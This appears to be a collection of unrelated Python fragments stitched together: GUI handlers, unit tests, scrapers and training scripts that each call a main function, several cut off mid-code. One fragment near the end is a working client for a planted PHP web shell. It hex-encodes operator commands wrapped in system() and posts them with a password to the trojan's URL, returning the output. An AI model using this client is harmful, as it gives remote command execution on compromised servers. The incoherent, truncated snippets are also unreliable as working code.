def openf(self, event):
l = self.openfile.GetValue()
k = self.text1.GetValue()
if self.radio1.GetValue():
text = 1
elif self.radio2.GetValue():
text = 2
else:
text = 3
import os
if os.path.exists(l) and l and k and k.isdigit() and int(k) >=0 and text:
file = open(l)
pts = []
for line in file.readlines():
line = line.split()
pts.append(( int(line[0]), int(line[1])))
file.close()
if len(pts) >= int(k):
main.main( l, int(k),text)
else:
box = wx.MessageDialog(None, 'your k is bigger than the num of pts!', 'wrong', wx.OK)
if box.ShowModal() == wx.ID_OK:
box.Destroy()
self.text1.Clear()
else:
box = wx.MessageDialog(None, 'you miss a file or write a wrong k', 'wrong', wx.OK)
if box.ShowModal() == wx.ID_OK:
box.Destroy()
self.openfile.Clear()
self.text1.Clear()
def run_main():
"""\
This main procedure is started by calling either wxglade.py or
wxglade.pyw on windows
"""
# prepend the widgets dir to the
# app's search path
wxglade_path = determine_wxglade_path()
#sys.path = [os.getcwd(), os.path.join(os.getcwd(), 'widgets')] + sys.path
sys.path = [wxglade_path, os.path.join(wxglade_path, 'widgets')] + sys.path
# set the program's path
import common
common.wxglade_path = wxglade_path #os.getcwd()
# before running the GUI, let's see if there are command line options for
# code generation
if len(sys.argv) == 1:
# if there was no option, start the app in GUI mode
import main
main.main()
else:
options, args = parse_command_line()
if not options:
# start the app in GUI mode, opening the given file
filename = _fix_path(args[0])
import main
main.main(filename)
else:
command_line_code_generation(options, args)
def entry(isPublic, isSelectable, threadNum):
log_utils.info("Curr Python Version::%s", config_utils.get_py_version())
print(u"**********所有游戏**********")
print(u"\t appID \t\t 游戏文件夹 \t\t 游戏名称 \n\n")
games = config_utils.getAllGames()
if games != None and len(games) > 0:
for ch in games:
print(u"\t %s \t\t %s \t\t\t%s" % (ch['appID'], ch['appName'], ch['appDesc']))
sys.stdout.write(u"请选择一个游戏(输入appID)：")
sys.stdout.flush()
selectedGameID = raw_input()
selectedGameID = str(selectedGameID)
game = getGameByAppID(selectedGameID, games)
log_utils.info("current selected game is %s(%s)", game['appName'], game['appDesc'])
if isSelectable:
main.main(game, isPublic)
else:
main_thread.main(game, isPublic, threadNum)
def batch_incremental():
load_experiments("experiments_ref")
for base_steps in xrange (2,4):
for uav_count in xrange(1,11):
if base_steps * uav_count < 3:
continue
for num_steps in xrange(2,5):
experiment = find_experiment([("num_receivers",uav_count),("receiver_step_count",2)])
if experiment is None:
print "Error experiment not found"
exit(1)
best_pheno = experiment.get_phenome(100, 0, "FITNESS",True)
base_pheno_decoded_positions = best_pheno['decoded_positions']
base_pheno_list = []
for position in base_pheno_decoded_positions:
base_pheno_list.append(" ".join(map(str,position)))
base_pheno_str = ",".join(base_pheno_list)
config_parameters = []
config_parameters.append((GENOTYPE_SECTION, "base_pheno", base_pheno_str))
config_parameters.append((GLOBAL_SECTION, "num_receivers", str(uav_count)))
config_parameters.append((GENOTYPE_SECTION, "receiver_step_count", str(num_steps)))
population_size = max(40,uav_count*num_steps*20)
config_parameters.append((GLOBAL_SECTION, "population_size", str(population_size)))
main("./configs/PathIncr.ini", config_parameters)
def commandline_call():
""" Entry point of the program when called from the command line
"""
options, args = parse_options(sys.argv[1:])
if not len(args)==1:
if len(args)==0:
option_parser.print_help()
else:
print >> sys.stderr, "1 argument: input file"
sys.exit(1)
import time
t1 = time.time()
if args[0] == "-":
pyfile = sys.stdin
else:
pyfile = open(args[0],"r")
# fix include path
from os.path import dirname, abspath
path_of_pyfile = dirname(abspath(args[0]))
sys.path.insert(0, path_of_pyfile)
print sys.path
# Store the name of the input file for later use
options.update({'infilename':args[0]})
main(pyfile, overrides=options)
# FIXME: wath about the options defined in the script: options.quiet
if not 'quiet' in options:
print >>sys.stderr, "Ran script in %.2fs" % (time.time() - t1)
def start_module():
options = ["- Print default records",
"- Add new record",
"- Remove record by id",
"- Update record by id",
"- Avalible tools",
"- Get average durability"]
ui.print_menu("\nTool Manager\n", options, "0: Return to main menu\n")
inputs = ui.get_inputs("Please enter a number: ", "")
option = inputs[0]
try:
if option == "1":
show_table(table)
elif option == "2":
add(table)
elif option == "3":
id_ = ui.get_inputs("Enter what you want to delete:", "")
remove(table, id_)
elif option == "4":
id_ = ui.get_inputs("Enter what you want to update(id):", "")
update(table, id_)
elif option == "5":
get_available_tools(table)
elif option == "6":
get_average_durability_by_manufacturers(table)
elif option == "0":
main.main()
else:
raise KeyError("There is no such option.")
except KeyError as err:
ui.print_error_message(err)
pass
def test_obama_example(capsys):
main.main(os.path.join(RESOURCES, 'obama_wikipedia.txt'))
stdout, _ = capsys.readouterr()
lines = stdout.split('\n')
assert re.match(
r'.*Obama\b.*\| received\b.*\| national attention\b',
lines[1])
def start_module():
ui.print_menu("Human Resources", ["show", "add", "remove", "update", "oldest", "average"], "0 exit")
inputs = ui.get_inputs(["Please enter a number: "], "")
option = inputs[0]
table = data_manager.get_table_from_file("hr/persons.csv")
try:
if option == "1":
show_table(table)
elif option == "2":
add(table)
elif option == "3":
id_ = ui.get_inputs("Enter the item/'s id you want to remove:","")
remove(table, id_)
elif option == "4":
id_ = ui.get_inputs("Enter the item/'s id you want to update:","")
update(table, id_)
elif option == "5":
get_oldest_person(table)
elif option == "6":
get_persons_closest_to_average(table)
elif option == "0":
main.main()
else:
raise KeyError
except KeyError:
ui.print_error_message("There is no such option, choose from given numbers.")
start_module()
pass
def testSourceExtractReturnsCorrectNumberOfFiles(self):
dt = datetime.date.today() - datetime.timedelta(days=1)
games = main.chooseGames(dt)
main.main(dt)
game_files = [f for f in os.listdir(constants.LOGDIR_SOURCE) if f[:10] == dt.isoformat()]
self.assertEqual(len(games) * 2,len(game_files))
def test_configurations(self):
for config_file in dir_explore("configurations"):
args = [
'main.py', '-f', config_file, '-n', '2', '-p', False
]
sys.argv = args
main.main()
def test_obama_example(resource, capsys):
main.main(resource('obama_wikipedia.txt'))
stdout, _ = capsys.readouterr()
lines = stdout.split('\n')
assert re.match(
r'.*Obama\b.*\| received\b.*\| national attention\b',
lines[1])
def test_master_args_correctly_create_cluster_master(self):
mock_cluster_master = self.mock_ClusterMaster.return_value # get the mock for the ClusterMaster instance
main.main(['master'])
self.mock_ClusterMaster.assert_called_once_with() # assert on constructor params
self.mock_ClusterMasterApplication.assert_called_once_with(mock_cluster_master) # assert on constructor params
def call_analyze_seq(self):
seq_len = int(self.an_seq_len.text())
to_analyze = {}
to_analyze['probabilities'] = self.probs.isChecked()
to_analyze['cond_probabilities'] = self.cond_probs.isChecked()
to_analyze['cond_entropy'] = self.cond_entropy.isChecked()
to_analyze['autocorrelation'] = self.autocorr.isChecked()
to_analyze['kld'] = self.kld.isChecked()
to_analyze['l1metric'] = self.l1m.isChecked()
other_params = {}
other_params['L'] = int(self.probs_l.text())
other_params['upto'] = int(self.autocorr_upto.text())
other_params['K'] = int(self.kld_l.text()) - 1
other_params['l1'] = int(self.l1m_upto.text()) - 1
params = {}
params['to_analyze'] = to_analyze
params['other_params'] = other_params
p = 'configs/' + self.configs['graph_path'] + '/params.yaml'
with open(p, 'w') as f:
yaml.dump(params, f)
self.analyze_bar.value = 0
mn.main(self.config_file_path, an_seq=True, seq_len=seq_len, tag=self.config_tag)
self.analyze_bar.value = 100
def batch_vardev():
conf = load_config("VarDevConf")
try:
main(conf)
except:
print traceback.format_exc()
def Notify(self, event): if event == "PlayAgain": self.keepGoing = False gc.collect() main.main() elif event == "QuitEvent": self.keepGoing = False
def button_action (self, coord):
if self.type == "barrier":
if self.start_coord is None:
self.start_coord = coord
else:
if self.special_klicked:
self.board.delete_barrier_line (self.start_coord, coord)
else:
self.board.new_barrier_line_set (self.start_coord, coord)
self.start_coord = coord
elif self.type == "new":
# rectangel coords are bizarr; maybe should be thought about later
fac = 1
if self.size == "big":
fac *= 2
if self.rect.left < coord[0] < self.rect.right*2:
if self.rect.bottom < coord[1] < self.rect.bottom +60*fac/2:
main.main(size= "small")
sys.exit(1)
elif self.rect.bottom +60*fac/2 <= coord[1] < self.rect.bottom+60*fac:
main.main(size= "big")
sys.exit(1)
elif self.type == "anthill_big":
self.board.board [coord[0]] [coord[1]] .set_colony(30)
elif self.type == "anthill_small":
self.board.board [coord[0]] [coord[1]] .set_colony(10)
elif self.type == "food_big":
self.board.board [coord[0]] [coord[1]] .set_food(2500)
elif self.type == "food_small":
self.board.board [coord[0]] [coord[1]] .set_food(500)
def test_main(self, isAlive_mock, parse_args_mock, join_mock, start_mock,
Controller_init_mock, try_to_connect_mock,
update_log_level_mock, write_pid_mock,
perform_prestart_checks_mock,
update_config_from_file_mock,
bind_signal_handlers_mock, setup_logging_mock):
Controller_init_mock.return_value = None
isAlive_mock.return_value = False
options = MagicMock()
parse_args_mock.return_value = (options, MagicMock)
tmpdir = tempfile.gettempdir()
#testing call without command-line arguments
os.environ["AGENT_WORK_ROOT"] = os.path.join(tmpdir, "work")
os.environ["AGENT_LOG_ROOT"] = ",".join([os.path.join(tmpdir, "log"),os.path.join(tmpdir, "log2")])
main.main()
self.assertTrue(setup_logging_mock.called)
self.assertTrue(bind_signal_handlers_mock.called)
self.assertTrue(update_config_from_file_mock.called)
self.assertTrue(perform_prestart_checks_mock.called)
self.assertTrue(write_pid_mock.called)
self.assertTrue(update_log_level_mock.called)
self.assertTrue(options.log_folder == os.path.join(tmpdir, "log"))
try_to_connect_mock.assert_called_once_with(ANY, -1, ANY)
self.assertTrue(start_mock.called)
def test_single_machine_case_runs_master_and_slave(self):
mock_service_runner = self.mock_ServiceRunner.return_value
build_args = ['build']
main.main(build_args)
self.assertTrue(mock_service_runner.run_master.called)
self.assertTrue(mock_service_runner.run_slave.called)
def test_tictactoe_medium(self):
config_file = "configurations/tictactoe.yml"
args = [
'main.py', '-f', config_file, '-n', 'medium', '-p',
False
]
sys.argv = args
main.main()
def form():
envelope = simplejson.loads(request.form.get('envelope'))
from_address = envelope['from']
print from_address
text = request.form.get('text')
print text
main.main(text, "C:/Users/Atanas/Desktop/PythonBackEnd/emails/", from_address)
return "OK"
def test_start_app_force_kill_countdown_is_called_when_app_exits_via_unhandled_exception(self):
run_mock = self.patch('main.MasterSubcommand').return_value.run
run_mock.side_effect = Exception('I am here to trigger teardown handlers!')
with self.assertRaises(SystemExit, msg='UnhandledExceptionHandler should convert Exception to SystemExit.'):
main.main(['master'])
self.start_force_kill_countdown_mock.assert_called_once_with(seconds=AnythingOfType(int))
def test_configuration_default(self):
config_file = "configurations/default.yml"
for game in main.games:
args = [
'main.py', '-f', config_file, '-g', game, '-n', '2', '-p',
False
]
sys.argv = args
main.main()
def test_main_calls_add_item_once_with_error_for_all_jobs_none_returned(self, all_jobs):
self.workflow.args = ['all']
self.workflow.settings = {'jenkins_url': 'http://some-url:8080'}
all_jobs.side_effect = NoJobsFound
main(self.workflow)
self.workflow.add_item.assert_called_once_with("Error: No jobs found")
self.workflow.send_feedback.assert_called_once()
def init(Screen):
from main import main
curses.init_pair(1, curses.COLOR_GREEN, curses.COLOR_BLACK)
curses.init_pair(2, curses.COLOR_YELLOW, curses.COLOR_BLACK)
curses.curs_set(0)
veridis = Veridis()
veridis.settings.tasks = veridis.settings.readsettings("data/tasks", veridis)
veridis.settings.schedule = veridis.settings.readsettings("data/schedule", veridis)
main(Screen, veridis)
def processArguments():
'''init process arguments '''
parser = OptionParser(usage="Usage: deepin-screenshot [options] [arg]", version="deepin-screenshot v2.1")
parser.add_option("-f", "--full", action="store_true", dest="fullscreen", help=_("Take a screenshot of full screen"))
parser.add_option("-w", "--window", action="store_true", dest="window", help=_("Take a screenshot of the window"))
parser.add_option("-d", "--delay", dest="delay", type="int", help=_("Take a screenshot after NUM seconds"), metavar="NUM")
parser.add_option("-s", "--save", dest="save_file", help=_("save screenshot to FILE"), metavar="FILE")
parser.add_option("--sub", action="store_true", dest="sub", help=_("run as a subprocess"))
parser.add_option("-n", "--new", action="store_true", dest="new", help=_("run a new process"))
parser.add_option("-I", "--icon", action="store_true", dest="icon")
#parser.add_option("-a", "--area", help="Grab an area of the screen instead of the entire screen", action="store_true")
#parser.add_option("-e", "--border-effect", action="store_true", dest="border_effect", help="Effect to add to the border")
#parser.add_option("-i", "--interactive", action="store_true", help="Interactively set options")
#parser.add_option("-b", "--include-border", action="store_true", help="Include the window border with the screenshot")
#parser.add_option("-B", "--remove-border", action="store_true", help="Remove the window border from the screenshot")
#parser.add_option("-c", "--clipboard", help="Send the grab directly to the clipboard", action="store_true")
parser.get_option('-h').help = _("show this help message and exit")
parser.get_option('--version').help = _("show program's version number and exit")
import sys
if '-h' in sys.argv or '--help' in sys.argv:
parser.remove_option("-I")
(options, args) = parser.parse_args()
if not options.new and IS_EXISTS:
print "deepint-screenshot has run"
exit(1)
if options.fullscreen and options.window:
parser.error("options -f and -w are mutually exclusive")
config.OPTION_ICON = options.icon
config.OPTION_FULLSCREEN = options.fullscreen
config.OPTION_WINDOWN = options.window
config.OPTION_NEW = options.new
config.OPTION_FILE = options.save_file
config.OPTION_SUB = options.sub
if options.delay:
notify("Deepin Screenshot", 0, summary=_("DScreenshot"),
body=_("Deepin Screenshot will start in %d seconds.") % options.delay, timeout=(options.delay-0.5)*1000)
loop = gobject.MainLoop()
gobject.timeout_add_seconds(options.delay, loop.quit)
loop.run()
if options.save_file:
parserFile = parser_path(str(options.save_file))
if options.fullscreen:
pixbuf = get_screenshot_pixbuf(True)
pixbuf.save(parserFile[0], parserFile[1])
elif options.window:
pixbuf = get_screenshot_pixbuf(False)
pixbuf.save(parserFile[0], parserFile[1])
else:
main()
elif options.fullscreen:
open_file_dialog()
elif options.window:
open_file_dialog(False)
else:
main()
def test_fetch_questions_without_previous_data(mk_execute):
"""测试数据库中没有数据的情况"""
import main
mk_execute.return_value = None
tid = test_tid
class MockQuestion:
"""
Act as QuestionManager and zhihu.Question
"""
def __init__(self, url, id, creation_time, title, author=''):
self._url = self.url = url
self.id = id
self.creation_time = self.time = creation_time
self.title = title
self.author = self.asker = author
self._session = Mock()
self.deleted = False
self.follower_num = 0
self.author = Mock(id='asker')
self.topics = ['互联网']
t = datetime.now()
mock_question1 = MockQuestion('http://q/1', '1', t+timedelta(1), 'question1')
mock_question2 = MockQuestion('http://q/2', '2', t+timedelta(2), 'question2')
mock_question3 = MockQuestion('http://q/3', '3', t+timedelta(3), 'question3')
mock_question4 = MockQuestion('http://q/4', '4', t+timedelta(4), 'question4')
with patch('zhihu.Topic.questions', new_callable=PropertyMock) as mock_q:
mock_q.side_effect = [
[mock_question1],
[mock_question2, mock_question1],
[mock_question2, mock_question1],
[mock_question4, mock_question3, mock_question2, mock_question1],
[mock_question4, mock_question3, mock_question2, mock_question1]
]
def test():
time.sleep(1)
if mock_q.call_count == 1:
assert len(QuestionManager.get_all_questions_one_topic(tid))==0
if mock_q.call_count == 2:
questions = QuestionManager.get_all_questions_one_topic(tid)
assert questions[0]['qid'] == '2'
if mock_q.call_count == 3:
questions = QuestionManager.get_all_questions_one_topic(tid)
assert questions[0]['qid'] == '2'
if mock_q.call_count == 4:
questions = QuestionManager.get_all_questions_one_topic(tid)
questions.sort(key=lambda x: x['qid'])
assert questions[0]['qid'] == '2'
assert questions[1]['qid'] == '3'
assert questions[2]['qid'] == '4'
raise EndProgramException
main.main(postroutine=test)
def test_correlate(mock_correlate_handler):
sys.argv = shlex.split('program correlate 1111')
main.main()
assert_true(mock_correlate_handler.called)
mock_correlate_handler.assert_called_once_with(
argparse.Namespace(
func=main.handle_correlate,
log_level=21,
project_number='1111'))
def test_main(self):
from main import main
class ParsedArgs:
verbose = True
attrib = []
path = '.'
update = True
silent = False
main(ParsedArgs())
def handle(self): if sys.argv[-1] == "tls": sock = ssl.wrap_socket(self.request, certfile=settings["certfile"], server_side=True, ciphers=settings["sslciphers"]) else: sock = self.request main.main(sock) sock.shutdown(socket.SHUT_RDWR) sock.close()
def test_valid_directory(self, mock_subprocess_run):
mock_subprocess_run.return_value.stdout = True
directory = os.path.join(resources_directory, "test_directory")
output_directory = os.path.join(directory, 'output')
puc.main(directory, output_directory)
self.assertTrue(os.path.isdir(output_directory))
# cleanup
os.rmdir(output_directory)
def test_song_794_length(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][795]["love"], 0.2222222222222222)
fuel = Region([circle], [-1], uid=1, mat='fuel', phi=fuelphiguess)
regions = [moderator, fuel]
n_rays = 100
# k, regions = main(n_rays, surfaces, regions, pitch, ngroup, plot=False)
# Ray Length sensitivity analysis
ks_ray_length = []
lengths = []
for i in range(100):
try:
cutoff = 300 * i / 100 + 1
k, regions_trash = main(n_rays,
surfaces,
copy.deepcopy(regions),
pitch,
ngroup,
cutoff_length=cutoff,
deadzone=0)
lengths.append(cutoff)
ks_ray_length.append(k)
except:
print('oh well')
data = np.vstack((lengths, ks_ray_length)).T
np.savetxt('./sensitivity/cutoff_length_sensitivity_data', data)
ks_dead_zone = []
lengths = []
# Dead zone sensitivity analysis
for i in range(50):
try:
h5_util.write_list(f, 'xdirection', norm_dx)
h5_util.write_list(f, 'ydirection', norm_dy)
f.close()
if 'norm' in model_path:
pre_mode = 'norm'
elif 'scale' in model_path:
pre_mode = 'scale'
else:
raise Exception('Unknown pre_mode!')
for loss_key, dot_num in zip(loss_key_list, dot_num_list):
main(model_type,
model_path,
batch_size=batch_size,
dataset=dataset,
load_mode=load_mode,
L_A=L_A,
L_W=L_W,
pre_mode=pre_mode,
add_aug=add_aug,
aug_pol=aug_pol,
l2_reg_rate=l2_reg_rate,
fc_type=fc_type,
dir_path=dir_path,
fig_type=fig_type,
dot_num=dot_num,
l_range=l_range,
loss_key=loss_key,
add_reg=add_reg)
def test_song_999_id(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][1000]["id"], "999")
def test_song_256_title(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][257]["title"], "Ai Mouraria")
def test_song_574_love(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][575]["love"], 0.11111111111111105)
def get(self):
# 申请锁
for root, dirs, files in os.walk(dir_run):
for fname in files:
fpname = os.path.join(root, fname)
if fpname.endswith('.lock'):
self.write('Busy')
return
break
file_lock = os.path.join(dir_run, str(os.getpid()) + ".lock")
open(file_lock, 'w').close()
time.sleep(1)
count = 0
for root, dirs, files in os.walk(dir_run):
for fname in files:
fpname = os.path.join(root, fname)
if fpname.endswith('.lock'):
count += 1
break
if count >= 2:
self.write('Busy')
os.remove(file_lock)
return
########
uu = uuid.uuid4()
flog = open(file_log, 'a')
msg = "%s\t%s\t%s\t%s\t%s- Start training.\n" % (time.asctime(
time.localtime()), self.request.remote_ip, self.request.method,
self.request.uri, uu)
flog.write(msg)
flog.close()
if os.path.exists(file_middle):
try:
main.main('train.txt', 'train', 'prepareTrain', False)
self.write("OK")
flog = open(file_log, 'a')
msg = "%s\t%s\t%s\t%s\t%s- OK.\n" % (
time.asctime(time.localtime()), self.request.remote_ip,
self.request.method, self.request.uri, uu)
flog.write(msg)
flog.close()
except:
self.write("Error\n语料解析错误。")
flog = open(file_log, 'a')
msg = "%s\t%s\t%s\t%s\t%s- Error.语料解析错误。\n" % (
time.asctime(time.localtime()), self.request.remote_ip,
self.request.method, self.request.uri, uu)
flog.write(msg)
flog.close()
else:
self.write("Error\n没有待训练的语料文件。")
flog = open(file_log, 'a')
msg = "%s\t%s\t%s\t%s\t%s- Error.没有待训练的语料文件。\n" % (
time.asctime(time.localtime()), self.request.remote_ip,
self.request.method, self.request.uri, uu)
flog.write(msg)
flog.close()
# 释放锁
os.remove(file_lock)
return
# net hyper
net_hyper = dict(use_case=hset['use_case'],
case_lookup_size=hset['case_lookup_size'],
case_embedding_size=hset['case_embedding_size'],
drop_prob=hset['drop_prob'],
hidden_size=hset['hidden_size'],
layer_num=hset['layer_num'],
is_bidirection=hset['is_bidirection'],
twice_embedding_size=hset['twice_embedding_size'],
class_num=hset['class_num'])
# fit hyper
fit_hyper = dict(batch_size=hset['batch_size'],
learning_rate=hset['learning_rate'],
weight_decay=hset['weight_decay'],
balance_weight=hset['balance_weight'],
o_index=hset['o_index'],
class_num=hset['class_num'],
patience=hset['patience'],
epoch_num=hset['epoch_num'],
is_topk=False,
is_formal=hset['is_formal'])
# record folder
record_folder = record_root + str(i_hset) + '/'
main(dataset_folder, net_hyper, fit_hyper, record_folder)
with open(record_root + 'hypersets.json', 'w') as f:
json.dump(hypersets, f)
if __name__ == "__main__":
model_name = "BertOrigin"
data_dir = "/search/hadoop02/suanfa/songyingxin/data/cnews"
output_dir = ".cnews_output"
cache_dir = ".cnews_cache"
log_dir = ".cnews_log"
model_times = "model_1/" # 第几次保存的模型，主要是用来获取多次最佳结果
bert_vocab_file = "/search/hadoop02/suanfa/songyingxin/pytorch_Bert/bert-base-chinese-vocab.txt" # 需改
bert_model_dir = "/search/hadoop02/suanfa/songyingxin/pytorch_Bert/bert-base-chinese"
from Processors.NewsProcessor import NewsProcessor
if model_name == "BertOrigin":
from BertOrigin import args
elif model_name == "BertCNN":
from BertCNN import args
elif model_name == "BertATT":
from BertATT import args
elif model_name == "BertRCNN":
from BertRCNN import args
main(
args.get_args(data_dir, output_dir, cache_dir, bert_vocab_file,
bert_model_dir, log_dir), model_times, NewsProcessor)
# Bootstrap to the main module
if __name__ == '__main__':
from main import main
main()
def process_validation_data():
depth_path = 'F:/Image_Perspective/data/nyu_datasets_changed/target_depths/'
img_path = 'F:/Image_Perspective/data/nyu_datasets_changed/input/'
label_path = 'F:/Image_Perspective/data/nyu_datasets_changed/labels_38/'
#im_num = 910
min_im_num = 295
max_im_num = 1448
for im_num in range(min_im_num, max_im_num):
im_name = (5 - len(str(im_num))) * '0' + str(im_num)
depth = cv2.imread(depth_path + im_name + '.png')
img = cv2.imread(img_path + im_name + '.jpg')
labels = cv2.imread(label_path + im_name + '.png')[:, :, 0]
floor_label = 2
floor = (labels == floor_label).astype(int)
num_floor_pixels = floor.sum()
tot_pixels = labels.shape[0] * labels.shape[1]
pct_floor = num_floor_pixels / tot_pixels * 100
save_filepath = 'F:/Insight/SpaceAce/Validation/'
floor_thresh = 20
if pct_floor > floor_thresh:
save_labeled = save_filepath + 'labeled_images/' + im_name + '.npy'
save_processed = save_filepath + 'processed/' + im_name + '/'
save_img = save_filepath + 'rgb_images/' + im_name + '.npy'
save_target_depth = save_filepath + 'target_depths/' + im_name + '.npy'
save_target_labels = save_filepath + 'target_labels/' + im_name + '.npy'
try:
main(img_path + im_name + '.jpg', save_processed)
except:
None
np.save(save_labeled, labels)
np.save(save_img, img)
np.save(save_target_depth, depth)
np.save(save_target_labels, floor)
fig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2)
ax1.imshow(img)
ax1.axis('off')
ax1.set_title('original')
ax2.imshow(labels)
ax2.axis('off')
ax2.set_title('labeled')
ax3.imshow(depth)
ax3.axis('off')
ax3.set_title('depth')
ax4.imshow(floor)
ax4.axis('off')
ax4.set_title('floor')
fig.suptitle('Image ' + im_name +
'\n({:.0f}% floor)'.format(pct_floor))
plt.savefig(save_processed + '_targets.jpg', dpi=199)
return None
def parse(run, draw=True):
sql = """SELECT * FROM my_list"""
results = database.select(sql)
if results:
i = 1
while i <= run:
day = datetime.datetime.today().weekday()
time_now = datetime.datetime.now()
morning = time_now.replace(hour=9, minute=00)
evening = time_now.replace(hour=18, minute=40)
if morning < time_now < evening and day != 5 and day != 6:
datetime_now = datetime.datetime.now().strftime(
"%Y/%m/%d %H:%M:%S")
if draw:
print()
print("--- {t} ---".format(t=datetime_now))
print()
for result in results:
url = "https://www.boursorama.com/cours/" + result[2]
req = requests.get(url)
soup = BeautifulSoup(req.content, 'html.parser')
name = soup.find(
class_="c-faceplate__company-link").text.replace(
" ", "").replace("\n", "")
value = soup.find_all(
'span',
class_="c-instrument c-instrument--last")[0].text
var = soup.find_all(
'span',
class_="c-instrument c-instrument--variation")[0].text
volume = soup.find_all(
'span',
class_="c-instrument c-instrument--totalvolume"
)[0].text.replace(" ", "")
vol_var = soup.find_all(
'li', class_="c-list-info__item--small-gutter")[2]
vol_var = vol_var.text.replace(" ", "").split("\n")[3]
dividend_date = soup.find_all(
'li',
class_=
"c-list-info__item c-list-info__item--fixed-width")[1]
dividend_date = dividend_date.text.replace(
" ", "").split("\n")[3].split(".")
dividend_date = "20{}-{}-{}".format(
dividend_date[2], dividend_date[1], dividend_date[0])
value_div = []
value_div_20 = soup.find(
'li',
class_=
"c-list-info__item c-list-info__item--fixed-width")
value_div_20 = value_div_20.text.replace(" ",
"").split("\n")[3]
company_id = result[0]
if value_div_20 == "-":
value_div_20 = soup.find(
'td',
class_=
"c-table__cell c-table__cell--dotted c-table__cell--inherit-height"
" c-table__cell--align-top / u-text-left u-text-right u-ellipsis"
)
value_div.append(
value_div_20.text.replace(" ", "").replace(
"\n", "").replace("EUR", ""))
else:
value_div.append(value_div_20.replace("EUR", ""))
nb = 1
while nb <= 5:
value_div_other = soup.find_all(
'td',
class_=
"c-table__cell c-table__cell--dotted c-table__cell--inherit-height"
" c-table__cell--align-top / u-text-left u-text-right u-ellipsis"
)[nb]
value_div.append(
value_div_other.text.replace(" ", "").replace(
"\n", "").replace("EUR", ""))
nb += 1
company(company_id, value, var, volume, vol_var,
datetime_now)
interest(company_id, value_div, dividend_date,
datetime_now)
if draw:
print(
"\t\t{n}\nAction: {val}€\t{var}\nVolume: {vo}\t{vov}\nDividende: {vd}€\t{vp}"
.format(n=name,
val=value,
var=var,
vo=volume,
vov=vol_var,
vd=value_div[0],
vp=value_div[3]))
print()
if run > 1:
time.sleep(60)
else:
if draw:
print("\nBourse fermée\n")
time.sleep(2)
break
i += 1
else:
print("\nAucune Entreprise dans la liste")
return "None"
if draw:
time.sleep(2)
main.main()
def test_song_934_complex(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][935]["complexity"], 0.34463276836158196)
""" Для запуска из терминала: python -m music_tree -t 120 """
from sys import argv
from main import main
if __name__ == "__main__":
main(argv)
def test_song_664_mood(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][665]["mood"], 0.36310853059401493)
'''add force'''
self.force = self.force + force
self.force = self.force * (1 / self.mass)
def draw(self, screen):
'''draw object'''
screen.blit(self.surface, self.position.vec)
def update(self, deltatime):
'''update'''
if self.Seek is True:
self.add_force(self.seek(self.targetagent))
if self.Flee is True:
self.add_force(self.flee(self.targetagent))
if self.Wander is True:
self.add_force(self.wander(self.distance, self.radius))
self.acceleration = self.force
self.heading = self.velocity.normalize
self.velocity = self.heading * self.velocity.magnitude + self.acceleration * deltatime
if self.velocity.magnitude > self.maxvelocity:
self.velocity = self.velocity.normalize * self.maxvelocity
self.position = self.position + self.velocity * deltatime
if __name__ == '__main__':
import main as Main
Main.main()
def test_song_413_kid(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][414]["kid_safe"], 1.0)
def test_length(self):
self.assertEqual(len(json.loads(main.main('Lyrics'))["characterizations"]),1001)
def test_song_112_artist(self):
self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][113]["artist"], "Sub Focus")
import sys sys.path.insert(0, '../') from main import main OWL_ALBUMS = ['Ocean Eyes', 'The Midsummer Station', 'Mobile Orchestra'] NAME = 'Owl City' main(NAME, OWL_ALBUMS)
#!/usr/bin/env python3
import os
import sys
sys.path.append("src")
os.chdir(os.path.dirname(os.path.realpath(__file__)))
import main
main.main()
#! /usr/bin/env python # -*- coding: utf-8 -*- from main import main main(revisions=["issue549-base", "issue549-v1"])
def test_type_dict(self):
self.assertEqual(type(json.loads(main.main('Lyrics'))["characterizations"][0]),dict)
try:
content=''
cmd=raw_input(GREEN+'PHP_Shell>'+END)
while(cmp(cmd,"q")):
if cmd != "":
content = 'system'+'('+'"'+cmd+'"'+');'
content = binascii.b2a_hex(content)
postdata = urllib.urlencode({
password:content})
req = urllib2.Request(
url = url, #木马url地址
data = postdata,
headers = headers
)
response = urllib2.urlopen(req).read()
print response
cmd = raw_input(GREEN+'PHP_Shell>'+END)
else:
cmd = raw_input(GREEN+'PHP_Shell>'+END)
except Exception,e:
print e
def exploit(self):
self.payloads()
#下面为单框架程序执行，可以省略
if __name__ == '__main__':
from main import main
main(PLScan())
def test_json(self):
self.assertEqual(type(main.main('Lyrics')),str)
# h, w = (d2.shape[0], d2.shape[1])
# new_height = 400
# new_width = round( new_height/h*w )
# d2 = cv2.resize( d2, (new_width,new_height))
#
# st.image(d2)
# =============================================================================
# =============================================================================
# Process image
# =============================================================================
try:
d = main( img_filepath = create_filepath(im_name, 'original', type = 'file' ),
save_filepath = create_filepath(im_name),
)
except:
'Sorry, an unexpected error occured.'
overlay_image = cv2.imread( create_filepath(im_name, 'depth_overlay', type = 'file') )
overlay_image = cv2.resize( overlay_image, (round(new_width*1.2),round(new_height*1.2)))
st.image(overlay_image)
# =============================================================================
# Load processed image
# =============================================================================
image_depth = cv2.imread( create_filepath(im_name, 'depthimage2', type = 'file') )
#image_depth = cv2.resize( image_depth, (new_width,new_height))
#overlay_image = cv2.imread( create_filepath(im_name, 'depth_overlay', type = 'file') )
#overlay_image = cv2.resize( overlay_image, (round(new_width*1.2),round(new_height*1.2)))
p_choice = 1 # int(input('[1] n queens \t [2] map filling'))
print('choose the algorithm')
s_choice = 1 #int(input('[1] backtrack \t [2] forward'))
if p_choice == 1:
"""n_queens"""
variables = ['Q' + str(i) for i in range(8)]
domain = list(range(1, 9))
result = [0] * 8
p = csp(domain, variables, result, p_choice)
if s_choice == 1:
if not p.backtrack_solve(0):
print('there\'s no solution')
p.print_solution(8)
main_program.main(p.final_result)
elif s_choice == 2:
forward_domain = []
for i in range(8):
forward_domain.append(list(range(1, 9)))
if not p.forward_solve(forward_domain, 0):
print('THERE\'S NO SOLUTION')
p.print_solution(8)
elif p_choice == 2:
"""map filling"""
